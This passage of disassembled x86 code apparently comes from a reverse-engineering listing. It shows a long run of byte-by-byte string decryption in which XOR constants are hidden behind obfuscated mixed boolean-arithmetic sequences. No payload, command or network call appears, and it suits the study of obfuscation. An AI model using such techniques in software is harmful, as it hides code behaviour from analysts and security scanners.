xor cl, 0x9a
mov byte [0x101cb066], cl
mov cl, byte [0x101cb05a]
xor cl, 0xf3
mov byte [0x101cb067], cl
mov cl, byte [0x101cb024]
xor cl, 0x13
mov byte [0x101cb031], cl
mov cl, byte [0x101cb025]
xor cl, 0x44
mov byte [0x101cb032], cl
mov cl, byte [0x101cb026]
xor cl, 0x57
mov byte [0x101cb033], cl
mov cl, byte [0x101cb027]
xor cl, 0xc8
mov byte [0x101cb034], cl
mov cl, byte [0x101cb028]
mov dl, cl
xor dl, 0x26
xor dl, 0xff
and dl, 0x26
shl dl, 1
sub dl, 0x26
sub cl, dl
mov byte [0x101cb035], cl
mov cl, byte [0x101cb029]
xor cl, 0xab
mov byte [0x101cb036], cl
mov cl, byte [0x101cb02a]
mov dl, cl
xor dl, 0x58
xor dl, 0xff
and dl, 0x58
shl dl, 1
sub dl, 0x58
sub cl, dl
mov byte [0x101cb037], cl
mov cl, byte [0x101cb02b]
xor cl, 0x74
mov byte [0x101cb038], cl
mov cl, byte [0x101cb02c]
mov dl, cl
xor dl, 0x90
xor dl, 0xff
and dl, 0x90
shl dl, 1
sub dl, 0x90
sub cl, dl
mov byte [0x101cb039], cl
mov cl, byte [0x101cb02d]
mov dl, cl
and dl, 0x54
shl dl, 1
add cl, 0x54
sub cl, dl
mov byte [0x101cb03a], cl
mov dl, byte [0x101cb02e]
mov cl, dl
xor cl, 0xff
and cl, 0x4c
mov ch, 0xff
xor ch, 0x4c
and dl, ch
or cl, dl
mov byte [0x101cb03b], cl
mov dl, byte [0x101cb02f]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x17
mov dh, 0xff
xor dh, 0x17
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x17
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb03c], cl
mov dl, byte [0x101cb030]
mov cl, dl
xor cl, 0xff
and cl, 0xcf
mov ch, 0xff
xor ch, 0xcf
and dl, ch
or cl, dl
mov byte [0x101cb03d], cl
mov cl, byte [0x101cb068]
xor cl, 0x67
mov byte [0x101cb073], cl
mov cl, byte [0x101cb069]
xor cl, 0x35
mov byte [str.z6M_v], cl
mov cl, byte [0x101cb06a]
mov dl, cl
and dl, 0x31
shl dl, 1
add cl, 0x31
sub cl, dl
mov byte [0x101cb075], cl
mov cl, byte [0x101cb06b]
xor cl, 0xa1
mov byte [0x101cb076], cl
mov cl, byte [0x101cb06c]
xor cl, 0xba
mov byte [0x101cb077], cl
mov cl, byte [0x101cb06d]
mov dl, cl
xor dl, 0xb2
xor dl, 0xff
and dl, 0xb2
shl dl, 1
sub dl, 0xb2
sub cl, dl
mov byte [0x101cb078], cl
mov cl, byte [0x101cb06e]
mov dl, cl
xor dl, 0xb7
xor dl, 0xff
and dl, 0xb7
shl dl, 1
sub dl, 0xb7
sub cl, dl
mov byte [0x101cb079], cl
mov dl, byte [0x101cb06f]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x50
xor cl, 0xff
mov ch, 0xff
xor ch, 0x50
mov dh, 0xff
xor dh, 0x50
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb07a], cl
mov dl, byte [0x101cb070]
mov cl, dl
xor cl, 0xff
and cl, 0xa2
mov ch, 0xff
xor ch, 0xa2
and dl, ch
or cl, dl
mov byte [0x101cb07b], cl
mov dl, byte [0x101cb071]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xf3
xor cl, 0xff
mov ch, 0xff
xor ch, 0xf3
mov dh, 0xff
xor dh, 0xf3
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb07c], cl
mov cl, byte [0x101cb072]
xor cl, 0x77
mov byte [0x101cb07d], cl
mov cl, byte [0x101cb07e]
mov dl, cl
and dl, 0xbb
shl dl, 1
add cl, 0xbb
sub cl, dl
mov byte [0x101cb087], cl
mov dl, byte [0x101cb07f]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x9e
mov dh, 0xff
xor dh, 0x9e
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x9e
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb088], cl
mov cl, byte [0x101cb080]
xor cl, 0xdb
mov byte [0x101cb089], cl
mov dl, byte [0x101cb081]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xcf
xor cl, 0xff
mov ch, 0xcf
and ch, 0xcf
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb08a], cl
mov cl, byte [0x101cb082]
xor cl, 0x7c
mov byte [0x101cb08b], cl
mov cl, byte [0x101cb083]
xor cl, 0x45
mov byte [0x101cb08c], cl
mov cl, byte [0x101cb084]
xor cl, 0x67
mov byte [0x101cb08d], cl
mov dl, byte [0x101cb085]
mov cl, dl
xor cl, 0xff
and cl, 0x45
mov ch, 0xff
xor ch, 0x45
and dl, ch
or cl, dl
mov byte [0x101cb08e], cl
mov cl, byte [0x101cb086]
mov dl, cl
xor dl, 0xc6
xor dl, 0xff
and dl, 0xc6
shl dl, 1
sub dl, 0xc6
sub cl, dl
mov byte [0x101cb08f], cl
mov cl, byte [0x101cb03e]
xor cl, 0x7f
mov byte [0x101cb046], cl
mov cl, byte [0x101cb03f]
xor cl, 0xeb
mov byte [0x101cb047], cl
mov dh, byte [0x101cb040]
mov cl, dh
xor cl, 0xff
and cl, 0xb8
mov ch, 0xff
xor ch, 0xb8
and dh, ch
mov dl, 0xff
xor dl, 0xd2
and dl, 0xb8
and ch, 0xd2
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb048], cl
mov cl, byte [0x101cb041]
xor cl, 0x80
mov byte [0x101cb049], cl
mov cl, byte [0x101cb042]
mov dl, cl
and dl, 0x84
shl dl, 1
add cl, 0x84
sub cl, dl
mov byte [0x101cb04a], cl
mov dl, byte [0x101cb043]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x89
xor cl, 0xff
mov ch, 0x89
and ch, 0x89
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb04b], cl
mov cl, byte [0x101cb044]
xor cl, 0x30
mov byte [0x101cb04c], cl
mov cl, byte [0x101cb045]
mov dl, cl
xor dl, 0xc6
xor dl, 0xff
and dl, 0xc6
shl dl, 1
sub dl, 0xc6
sub cl, dl
mov byte [0x101cb04d], cl
mov cl, byte [0x101cb090]
xor cl, 0x26
mov byte [0x101cb0b0], cl
mov dl, byte [0x101cb091]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x84
or cl, ch
mov ch, 0xff
xor ch, 0x84
mov dh, 0xff
xor dh, 0x84
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb0b1], cl
mov cl, byte [0x101cb092]
xor cl, 0x6e
mov byte [0x101cb0b2], cl
mov cl, byte [0x101cb093]
xor cl, 0xf4
mov byte [0x101cb0b3], cl
mov dl, byte [0x101cb094]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x9a
mov dh, 0xff
xor dh, 0x9a
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0x9a
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb0b4], cl
mov cl, byte [0x101cb095]
xor cl, 0x2e
mov byte [0x101cb0b5], cl
mov dh, byte [0x101cb096]
mov cl, dh
xor cl, 0xff
and cl, 0x3e
mov ch, 0xff
xor ch, 0x3e
and dh, ch
mov dl, 0xff
xor dl, 0xd9
and dl, 0x3e
and ch, 0xd9
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0b6], cl
mov cl, byte [0x101cb097]
xor cl, 0xbf
mov byte [0x101cb0b7], cl
mov cl, byte [0x101cb098]
xor cl, 0x86
mov byte [0x101cb0b8], cl
mov dh, byte [0x101cb099]
mov cl, dh
xor cl, 0xff
and cl, 0xe4
mov ch, 0xff
xor ch, 0xe4
and dh, ch
mov dl, 0xff
xor dl, 0x88
and dl, 0xe4
and ch, 0x88
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0b9], cl
mov cl, byte [0x101cb09a]
xor cl, 0xbd
mov byte [0x101cb0ba], cl
mov cl, byte [str._nXq]
xor cl, 0x6b
mov byte [0x101cb0bb], cl
mov cl, byte [0x101cb09c]
xor cl, 0x36
mov byte [0x101cb0bc], cl
mov dl, byte [0x101cb09d]
mov cl, dl
xor cl, 0xff
and cl, 0xad
mov ch, 0xff
xor ch, 0xad
and dl, ch
or cl, dl
mov byte [0x101cb0bd], cl
mov cl, byte [0x101cb09e]
xor cl, 0xeb
mov byte [0x101cb0be], cl
mov cl, byte [0x101cb09f]
xor cl, 6
mov byte [0x101cb0bf], cl
mov cl, byte [0x101cb0a0]
xor cl, 0x98
mov byte [0x101cb0c0], cl
mov cl, byte [0x101cb0a1]
xor cl, 0x3d
mov byte [0x101cb0c1], cl
mov cl, byte [0x101cb0a2]
mov dl, cl
and dl, 0xd9
shl dl, 1
add cl, 0xd9
sub cl, dl
mov byte [0x101cb0c2], cl
mov dh, byte [0x101cb0a3]
mov cl, dh
xor cl, 0xff
and cl, 0xfa
mov ch, 0xff
xor ch, 0xfa
and dh, ch
mov dl, 0xff
xor dl, 0xb9
and dl, 0xfa
and ch, 0xb9
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0c3], cl
mov dh, byte [0x101cb0a4]
mov cl, dh
xor cl, 0xff
and cl, 0xad
mov ch, 0xff
xor ch, 0xad
and dh, ch
mov dl, 0xff
xor dl, 0xa1
and dl, 0xad
and ch, 0xa1
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0c4], cl
mov cl, byte [0x101cb0a5]
xor cl, 0xb5
mov byte [0x101cb0c5], cl
mov cl, byte [0x101cb0a6]
xor cl, 2
mov byte [0x101cb0c6], cl
mov cl, byte [0x101cb0a7]
xor cl, 0xa1
mov byte [0x101cb0c7], cl
mov cl, byte [0x101cb0a8]
xor cl, 0xaf
mov byte [0x101cb0c8], cl
mov cl, byte [0x101cb0a9]
mov dl, cl
xor dl, 0xb4
xor dl, 0xff
and dl, 0xb4
shl dl, 1
sub dl, 0xb4
sub cl, dl
mov byte [0x101cb0c9], cl
mov cl, byte [0x101cb1e4]
xor cl, 0x95
mov byte [0x101cb1ed], cl
mov cl, byte [0x101cb1e5]
xor cl, 0xe2
mov byte [0x101cb1ee], cl
mov cl, byte [0x101cb1e6]
xor cl, 0x1c
mov byte [0x101cb1ef], cl
mov dl, byte [0x101cb1e7]
mov cl, dl
xor cl, 0xff
and cl, 0xef
mov ch, 0xff
xor ch, 0xef
and dl, ch
or cl, dl
mov byte [0x101cb1f0], cl
mov dl, byte [0x101cb1e8]
mov cl, dl
xor cl, 0xff
and cl, 0
mov ch, 0xff
xor ch, 0
and dl, ch
or cl, dl
mov byte [0x101cb1f1], cl
mov dl, byte [0x101cb1e9]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xbc
or cl, ch
mov ch, 0xff
xor ch, 0xbc
mov dh, 0xff
xor dh, 0xbc
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb1f2], cl
mov dl, byte [0x101cb1ea]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x74
or ch, 0x74
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x74
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb1f3], cl
mov dh, byte [str.V_n_3]
mov cl, dh
xor cl, 0xff
and cl, 0x8d
mov ch, 0xff
xor ch, 0x8d
and dh, ch
mov dl, 0xff
xor dl, 0x3e
and dl, 0x8d
and ch, 0x3e
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1f4], cl
mov cl, byte [0x101cb1ec]
xor cl, 0x2b
mov byte [0x101cb1f5], cl
mov dl, byte [0x101cb230]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x86
mov dh, 0xff
xor dh, 0x86
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x86
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb250], cl
mov dl, byte [0x101cb231]
mov cl, dl
xor cl, 0xff
and cl, 0xfe
mov ch, 0xff
xor ch, 0xfe
and dl, ch
or cl, dl
mov byte [0x101cb251], cl
mov cl, byte [0x101cb232]
mov dl, cl
and dl, 0x56
shl dl, 1
add cl, 0x56
sub cl, dl
mov byte [0x101cb252], cl
mov cl, byte [0x101cb233]
mov dl, cl
and dl, 5
shl dl, 1
add cl, 5
sub cl, dl
mov byte [0x101cb253], cl
mov cl, byte [0x101cb234]
xor cl, 0xdf
mov byte [0x101cb254], cl
mov cl, byte [0x101cb235]
xor cl, 0x88
mov byte [0x101cb255], cl
mov cl, byte [0x101cb236]
xor cl, 0x9c
mov byte [0x101cb256], cl
mov dh, byte [0x101cb237]
mov cl, dh
xor cl, 0xff
and cl, 0x71
mov ch, 0xff
xor ch, 0x71
and dh, ch
mov dl, 0xff
xor dl, 0xb9
and dl, 0x71
and ch, 0xb9
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb257], cl
mov cl, byte [0x101cb238]
xor cl, 0xf8
mov byte [0x101cb258], cl
mov cl, byte [0x101cb239]
mov dl, cl
and dl, 0xe3
shl dl, 1
add cl, 0xe3
sub cl, dl
mov byte [0x101cb259], cl
mov dh, byte [0x101cb23a]
mov cl, dh
xor cl, 0xff
and cl, 4
mov ch, 0xff
xor ch, 4
and dh, ch
mov dl, 0xff
xor dl, 0x90
and dl, 4
and ch, 0x90
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb25a], cl
mov cl, byte [0x101cb23b]
mov dl, cl
and dl, 0x73
shl dl, 1
add cl, 0x73
sub cl, dl
mov byte [0x101cb25b], cl
mov dl, byte [0x101cb23c]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x3f
or cl, ch
mov ch, 0xff
xor ch, 0x3f
mov dh, 0xff
xor dh, 0x3f
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb25c], cl
mov cl, byte [0x101cb23d]
xor cl, 0x45
mov byte [0x101cb25d], cl
mov cl, byte [0x101cb23e]
mov dl, cl
and dl, 0x78
shl dl, 1
add cl, 0x78
sub cl, dl
mov byte [0x101cb25e], cl
mov cl, byte [0x101cb23f]
xor cl, 0xe4
mov byte [0x101cb25f], cl
mov dl, byte [0x101cb240]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xf1
or ch, 0xf1
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xf1
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb260], cl
mov cl, byte [0x101cb241]
xor cl, 0x2e
mov byte [0x101cb261], cl
mov cl, byte [0x101cb242]
xor cl, 0xb4
mov byte [0x101cb262], cl
mov dh, byte [0x101cb243]
mov cl, dh
xor cl, 0xff
and cl, 0x9b
mov ch, 0xff
xor ch, 0x9b
and dh, ch
mov dl, 0xff
xor dl, 0x1f
and dl, 0x9b
and ch, 0x1f
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb263], cl
mov cl, byte [0x101cb244]
mov dl, cl
xor dl, 0xa7
xor dl, 0xff
and dl, 0xa7
shl dl, 1
sub dl, 0xa7
sub cl, dl
mov byte [0x101cb264], cl
mov cl, byte [0x101cb245]
xor cl, 0xe
mov byte [0x101cb265], cl
mov dl, byte [0x101cb246]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x30
xor cl, 0xff
mov ch, 0x30
and ch, 0x30
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb266], cl
mov cl, byte [0x101cb247]
xor cl, 0x1e
mov byte [0x101cb267], cl
mov cl, byte [0x101cb248]
xor cl, 0x11
mov byte [0x101cb268], cl
mov dl, byte [0x101cb269]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x57
mov dh, 0xff
xor dh, 0x57
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x57
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [str.n7E_], cl
mov cl, byte [0x101cb26a]
mov dl, cl
and dl, 0x5d
shl dl, 1
add cl, 0x5d
sub cl, dl
mov byte [0x101cb274], cl
mov cl, byte [0x101cb26b]
xor cl, 0xe
mov byte [0x101cb275], cl
mov cl, byte [0x101cb26c]
xor cl, 0x10
mov byte [0x101cb276], cl
mov cl, byte [0x101cb26d]
xor cl, 0x28
mov byte [0x101cb277], cl
mov dl, byte [0x101cb26e]
mov cl, dl
xor cl, 0xff
and cl, 0x96
mov ch, 0xff
xor ch, 0x96
and dl, ch
or cl, dl
mov byte [0x101cb278], cl
mov dl, byte [0x101cb26f]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xf4
xor cl, 0xff
mov ch, 0xff
xor ch, 0xf4
mov dh, 0xff
xor dh, 0xf4
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb279], cl
mov cl, byte [0x101cb270]
xor cl, 0x21
mov byte [0x101cb27a], cl
mov cl, byte [0x101cb271]
xor cl, 0xbb
mov byte [0x101cb27b], cl
mov dh, byte [0x101cb272]
mov cl, dh
xor cl, 0xff
and cl, 0x8e
mov ch, 0xff
xor ch, 0x8e
and dh, ch
mov dl, 0xff
xor dl, 0xf5
and dl, 0x8e
and ch, 0xf5
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb27c], cl
mov cl, byte [0x101cb27d]
xor cl, 0xdf
mov byte [0x101cb282], cl
mov cl, byte [0x101cb27e]
xor cl, 0xad
mov byte [0x101cb283], cl
mov cl, byte [0x101cb27f]
mov dl, cl
and dl, 0x2b
shl dl, 1
add cl, 0x2b
sub cl, dl
mov byte [0x101cb284], cl
mov cl, byte [0x101cb280]
mov dl, cl
xor dl, 0xed
xor dl, 0xff
and dl, 0xed
shl dl, 1
sub dl, 0xed
sub cl, dl
mov byte [0x101cb285], cl
mov cl, byte [0x101cb281]
xor cl, 0x20
mov byte [0x101cb286], cl
mov cl, byte [0x101cb2b0]
xor cl, 0xe7
mov byte [0x101cb2e0], cl
mov cl, byte [0x101cb2b1]
mov dl, cl
and dl, 0x7f
shl dl, 1
add cl, 0x7f
sub cl, dl
mov byte [0x101cb2e1], cl
mov cl, byte [0x101cb2b2]
xor cl, 0xb0
mov byte [0x101cb2e2], cl
mov dl, byte [0x101cb2b3]
mov cl, dl
xor cl, 0xff
and cl, 0x1e
mov ch, 0xff
xor ch, 0x1e
and dl, ch
or cl, dl
mov byte [0x101cb2e3], cl
mov dh, byte [0x101cb2b4]
mov cl, dh
xor cl, 0xff
and cl, 0x45
mov ch, 0xff
xor ch, 0x45
and dh, ch
mov dl, 0xff
xor dl, 0x56
and dl, 0x45
and ch, 0x56
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2e4], cl
mov dl, byte [0x101cb2b5]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xd5
or cl, ch
mov ch, 0xd5
and ch, 0xd5
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb2e5], cl
mov dl, byte [0x101cb2b6]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x42
mov dh, 0xff
xor dh, 0x42
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x42
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb2e6], cl
mov cl, byte [0x101cb2b7]
mov dl, cl
and dl, 0xc0
shl dl, 1
add cl, 0xc0
sub cl, dl
mov byte [0x101cb2e7], cl
mov dl, byte [0x101cb2b8]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xa5
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa5
mov dh, 0xff
xor dh, 0xa5
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb2e8], cl
mov dl, byte [0x101cb2b9]
mov cl, dl
xor cl, 0xff
and cl, 0xe0
mov ch, 0xff
xor ch, 0xe0
and dl, ch
or cl, dl
mov byte [0x101cb2e9], cl
mov dh, byte [0x101cb2ba]
mov cl, dh
xor cl, 0xff
and cl, 0x3c
mov ch, 0xff
xor ch, 0x3c
and dh, ch
mov dl, 0xff
xor dl, 0x58
and dl, 0x3c
and ch, 0x58
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2ea], cl
mov cl, byte [0x101cb2bb]
xor cl, 0x88
mov byte [0x101cb2eb], cl
mov cl, byte [0x101cb2bc]
xor cl, 0x76
mov byte [0x101cb2ec], cl
mov cl, byte [0x101cb2bd]
xor cl, 0xc3
mov byte [0x101cb2ed], cl
mov dl, byte [0x101cb2be]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xf
mov dh, 0xff
xor dh, 0xf
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xf
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb2ee], cl
mov cl, byte [0x101cb2bf]
xor cl, 0x47
mov byte [0x101cb2ef], cl
mov cl, byte [0x101cb2c0]
mov dl, cl
and dl, 0xfb
shl dl, 1
add cl, 0xfb
sub cl, dl
mov byte [0x101cb2f0], cl
mov dh, byte [0x101cb2c1]
mov cl, dh
xor cl, 0xff
and cl, 0xce
mov ch, 0xff
xor ch, 0xce
and dh, ch
mov dl, 0xff
xor dl, 0x4f
and dl, 0xce
and ch, 0x4f
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2f1], cl
mov cl, byte [0x101cb2c2]
mov dl, cl
and dl, 0x57
shl dl, 1
add cl, 0x57
sub cl, dl
mov byte [0x101cb2f2], cl
mov dl, byte [0x101cb2c3]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x7f
mov dh, 0xff
xor dh, 0x7f
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0x7f
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb2f3], cl
mov cl, byte [0x101cb2c4]
mov dl, cl
and dl, 0xc0
shl dl, 1
add cl, 0xc0
sub cl, dl
mov byte [0x101cb2f4], cl
mov cl, byte [0x101cb2c5]
xor cl, 0xa5
mov byte [0x101cb2f5], cl
mov cl, byte [0x101cb2c6]
xor cl, 0x65
mov byte [0x101cb2f6], cl
mov cl, byte [0x101cb2c7]
xor cl, 0x74
mov byte [0x101cb2f7], cl
mov dl, byte [0x101cb2c8]
mov cl, dl
xor cl, 0xff
and cl, 0x5e
mov ch, 0xff
xor ch, 0x5e
and dl, ch
or cl, dl
mov byte [0x101cb2f8], cl
mov dh, byte [0x101cb2c9]
mov cl, dh
xor cl, 0xff
and cl, 0x16
mov ch, 0xff
xor ch, 0x16
and dh, ch
mov dl, 0xff
xor dl, 0xac
and dl, 0x16
and ch, 0xac
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2f9], cl
mov cl, byte [0x101cb2ca]
mov dl, cl
xor dl, 0x94
xor dl, 0xff
and dl, 0x94
shl dl, 1
sub dl, 0x94
sub cl, dl
mov byte [0x101cb2fa], cl
mov cl, byte [0x101cb2cb]
xor cl, 0x6e
mov byte [0x101cb2fb], cl
mov dl, byte [0x101cb2cc]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x81
mov dh, 0xff
xor dh, 0x81
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x81
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb2fc], cl
mov dl, byte [str.L__5]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x23
xor cl, 0xff
mov ch, 0x23
and ch, 0x23
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb2fd], cl
mov dh, byte [0x101cb2ce]
mov cl, dh
xor cl, 0xff
and cl, 0x64
mov ch, 0xff
xor ch, 0x64
and dh, ch
mov dl, 0xff
xor dl, 0x2c
and dl, 0x64
and ch, 0x2c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2fe], cl
mov cl, byte [0x101cb2cf]
xor cl, 0x5c
mov byte [0x101cb2ff], cl
mov cl, byte [0x101cb2d0]
xor cl, 0x35
mov byte [0x101cb300], cl
mov cl, byte [0x101cb106]
mov dl, cl
xor dl, 0x36
xor dl, 0xff
and dl, 0x36
shl dl, 1
sub dl, 0x36
sub cl, dl
mov byte [0x101cb10f], cl
mov dl, byte [0x101cb107]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x20
or ch, 0x20
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x20
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb110], cl
mov dh, byte [0x101cb108]
mov cl, dh
xor cl, 0xff
and cl, 0x9c
mov ch, 0xff
xor ch, 0x9c
and dh, ch
mov dl, 0xff
xor dl, 0xdc
and dl, 0x9c
and ch, 0xdc
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb111], cl
mov dl, byte [0x101cb109]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb7
mov dh, 0xff
xor dh, 0xb7
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xb7
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb112], cl
mov cl, byte [0x101cb10a]
xor cl, 0xb2
mov byte [0x101cb113], cl
mov cl, byte [0x101cb10b]
mov dl, cl
xor dl, 0xf6
xor dl, 0xff
and dl, 0xf6
shl dl, 1
sub dl, 0xf6
sub cl, dl
mov byte [0x101cb114], cl
mov cl, byte [0x101cb10c]
mov dl, cl
and dl, 0xf8
shl dl, 1
add cl, 0xf8
sub cl, dl
mov byte [0x101cb115], cl
mov cl, byte [0x101cb10d]
mov dl, cl
and dl, 0x40
shl dl, 1
add cl, 0x40
sub cl, dl
mov byte [0x101cb116], cl
mov cl, byte [0x101cb10e]
xor cl, 0x90
mov byte [0x101cb117], cl
mov dl, byte [0x101cb301]
mov cl, dl
xor cl, 0xff
and cl, 0xf2
mov ch, 0xff
xor ch, 0xf2
and dl, ch
or cl, dl
mov byte [0x101cb306], cl
mov dh, byte [0x101cb302]
mov cl, dh
xor cl, 0xff
and cl, 0xa3
mov ch, 0xff
xor ch, 0xa3
and dh, ch
mov dl, 0xff
xor dl, 0xe
and dl, 0xa3
and ch, 0xe
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb307], cl
mov cl, byte [0x101cb303]
xor cl, 0x6d
mov byte [0x101cb308], cl
mov dl, byte [0x101cb304]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xc8
or cl, ch
mov ch, 0xc8
and ch, 0xc8
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb309], cl
mov cl, byte [0x101cb305]
mov dl, cl
and dl, 0xb7
shl dl, 1
add cl, 0xb7
sub cl, dl
mov byte [0x101cb30a], cl
mov cl, byte [0x101cb0ca]
xor cl, 0
mov byte [0x101cb0d8], cl
mov cl, byte [0x101cb0cb]
xor cl, 0x94
mov byte [0x101cb0d9], cl
mov cl, byte [0x101cb0cc]
xor cl, 0x10
mov byte [0x101cb0da], cl
mov cl, byte [0x101cb0cd]
xor cl, 0xf1
mov byte [0x101cb0db], cl
mov dl, byte [0x101cb0ce]
mov cl, dl
xor cl, 0xff
and cl, 0xd2
mov ch, 0xff
xor ch, 0xd2
and dl, ch
or cl, dl
mov byte [0x101cb0dc], cl
mov cl, byte [0x101cb0cf]
mov dl, cl
xor dl, 0x2c
xor dl, 0xff
and dl, 0x2c
shl dl, 1
sub dl, 0x2c
sub cl, dl
mov byte [0x101cb0dd], cl
mov cl, byte [0x101cb0d0]
mov dl, cl
xor dl, 0xd5
xor dl, 0xff
and dl, 0xd5
shl dl, 1
sub dl, 0xd5
sub cl, dl
mov byte [0x101cb0de], cl
mov cl, byte [0x101cb0d1]
xor cl, 0xfe
mov byte [0x101cb0df], cl
mov cl, byte [0x101cb0d2]
xor cl, 0xaf
mov byte [0x101cb0e0], cl
